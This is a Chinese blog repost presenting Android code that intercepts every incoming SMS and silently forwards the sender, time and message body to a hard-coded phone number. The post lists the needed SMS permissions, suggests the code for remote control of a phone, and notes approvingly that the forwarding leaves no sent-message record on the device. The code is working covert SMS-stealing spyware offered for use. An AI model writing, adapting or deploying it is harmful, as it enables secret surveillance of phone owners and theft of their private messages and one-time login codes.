欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

android 转发短信

发布时间:2023/11/30 编程问答 41 豆豆
生活随笔 收集整理的这篇文章主要介绍了 android 转发短信 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

通过这些代码也可以对远程手机实现短信控制。有兴趣的可以自己改一下,说一下简单的原理,要实现控制的话,必须得走一个固定的号码,固定的格式,然后通过得到此号码的内容,然后通过固定的内容,就可以了解需要做什么,再执行相应的代码,即可!代码很简单了!

在使用过程中的需要添加如下权限:

<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission> <uses-permission android:name="android.permission.READ_SMS"></uses-permission> <uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
我测试的时候是发送出去之后,手机上没有发送记录,当然了,你的手机肯定会留下扣费的记录的,因此也不是完全没有发送记录!因为这个是通过手机号发送的!

代码如下:

import java.text.SimpleDateFormat; import java.util.Date; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.telephony.SmsManager; import android.telephony.SmsMessage;public class SMS extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {// TODO Auto-generated method stub// 监听短信广播if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) {Object[] pdus = (Object[]) intent.getExtras().get("pdus");// 获取短信内容for (Object pdu : pdus) {byte[] data = (byte[]) pdu;SmsMessage message = SmsMessage.createFromPdu(data);// 使用pdu格式的短信数据生成短信对象String sender = message.getOriginatingAddress();// 获取短信的发送者String content = message.getMessageBody();// 获取短信的内容Date date = new Date(message.getTimestampMillis());SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String sendtime = format.format(date);SmsManager manager = SmsManager.getDefault();manager.sendTextMessage("5556", null, "发送人:" + sender+ "-----发送时间:" + sendtime + "----内容:" + content, null,null);// 把拦截到的短信发送到你指定的手机,此处为5556 }}} }

总结

以上是生活随笔为你收集整理的android 转发短信的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。